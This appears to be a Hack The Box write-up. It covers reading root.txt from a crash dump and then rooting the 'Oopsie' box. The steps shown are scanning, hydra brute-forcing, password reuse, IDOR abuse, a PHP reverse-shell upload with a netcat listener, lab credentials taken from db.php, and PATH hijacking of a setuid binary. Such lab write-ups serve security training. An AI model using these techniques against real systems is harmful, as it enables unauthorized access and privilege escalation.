    A quick google search leads me to a stackoverflow post where the person explains that a core dump could be generated by an error. So I thought about crashing the process and analysing the core dump file. For the purpose, I first created a 2nd reverse shell from which I will initiate a kill command.

This thread explained how I can read a crash file:

[email protected]:/opt$  cd /var/crash
[email protected]:/var/crash$ ll
total 88
drwxrwxrwt  2 root   root    4096 Nov 12 13:44 ./
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ../
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28108 Nov 12 13:44 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
[email protected]:/var/crash$ mkdir /tmp/crashdump
[email protected]:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crashdump/
[email protected]:/var/crash$ cd /tmp/crashdump/
[email protected]:/tmp/crashdump$ ls
Architecture  DistroRelease        ProblemType  ProcEnviron  Signal
CoreDump      ExecutablePath       ProcCmdline  ProcMaps     Uname
Date          ExecutableTimestamp  ProcCwd      ProcStatus   UserGroups

Analysing the CoreDump file:

[email protected]:/tmp/crashdump$ strings CoreDump 
CORE
CORE
count
./count -p 
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path: 
Could
LINUX
////////////////
Path: 
Could
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries       = %d
Regular files       = %d
Directories         = %d
Symbolic links      = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words      = %d
Total lines      = %d
Enter source file/directory name: 
%99s
Save results a file? [y/N]: 
Path: 
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: words      = 2
Total lines      = 2
oot/root.txt
<edited>c0572f41284ab<edited>
aliases
ethers
group

It seems, we have the root.txt file contents.

Honestly, I am overly enjoying this box. So much fun and so much to learn!

Oopsie

Enumeration

Service scan with nmap

We understand from the service scan with nmap that there are two ports that are widely known for their capabilities.

# nmap -sV -sC -p- -T4 -oA oopsie opsie.htb
                                                                  130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-15 06:18 EDT
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 42.25% done; ETC: 06:19 (0:00:12 remaining)
Nmap scan report for opsie.htb (10.10.10.28)
Host is up (0.17s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Application on Port 80

Nikto

Whenever we have a web application, I like running a quick Nikto scan against the target to get information about it fast. I would suggest to google each entry in the body of the findings.

# nikto -h opsie.htb                       
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.28
+ Target Hostname:    opsie.htb
+ Target Port:        80
+ Start Time:         2021-09-15 06:20:43 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-10944: : CGI Directory found
+ OSVDB-10944: /cdn-cgi/login/: CGI Directory found
+ OSVDB-3233: /icons/README: Apache default file found.
+ 10216 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2021-09-15 06:36:11 (GMT-4) (928 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Additional Intelligence gathering

Found admin email at the bottom of the page:
[email protected]

THC-Hydra

Bruteforcing the admin email account on the cgi login form was unsuccessful:

# hydra -l a[email protected] -P /usr/share/wordlists/rockyou.txt opsie.htb http-post-form "/cdn-cgi/login/index.php:username=^USER^&password=^PASS^:F=Login"

And then I remember that just recently I hacked another box that had the same megacorp initials. So I decided to try the password I found in the box “Archetype” (link to the write-up): MEGACORP_4dm1n!!

And it worked, meaning they reused the password.

Reverse Shell

We’re presented with an authenticated page which contains uploads. However, we cannot reach that page as we are unprivileged:

I access accounts page and notice an id variable which could be changed to show another user by its id. Due to the resolution, and being lazy, I made just one big screenshot so please use ctl+ to zoom into the picture if you cannot see.

I use intruder to bruteforce the ids by inserting a thousand numbers from 1 to 1000 and found a super user at 30:

I access http://opsie.htb/cdn-cgi/login/admin.php?content=uploads&action=upload then I change the request with the id and username of super user from within burp. Then generate the burp request within the browser and receive access to the uploads where I upload a php reverse shell which was denied upload but I caught the request again and changed the id and the username to super user again and the file was uploaded.

Next, setup netcat:

# nc -nvlp 1234

and curl the file from /uploads:

# curl http://10.10.10.28/uploads/php-reverse-shell.php

Privilege Escalation

Found Robert’s credentials in website’s files within login.

[email protected]:/var/www/html/cdn-cgi/login$ cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

In the following screenshot I am logged in with the found credentials (as robert), his group is called bugtrack i found a binary file called bugtrack in /usr/bin/ that is with setuid bit turned on and owned by root. Checked its content with strings and found it uses cat command to do its job. My thinking here is I am going to try to poison the path…


  • Files with SUID set on.
$ find / -user root -perm -4000 2>/dev/null
  • Investigate the type of file it is:
$ file /usr/bin/bugtracker
  • Investigate the contents of the file and try to understand what it does:
$ strings /usr/bin/bugtracker
  • Open/Run the file to see what it does.
    • it uses cat to dump contents of file
  • Create a new file called “cat” in a write-able directory and add to its contents /bin/bash
$ echo '/bin/bash' > cat
  • Change cat’s permissions to 777
$ chmod 777 cat
  • See what is the current directory where the ‘cat’ file exists and export it:

pwd

export PATH=/tmp:$PATH

Check if the PATH is exported correctly:

echo $PATH

Run the vulnerable file:

/usr/bin/bugtracker

whoami: root

Sorry for not supplying enough screenshots, I have been really, really lazy :/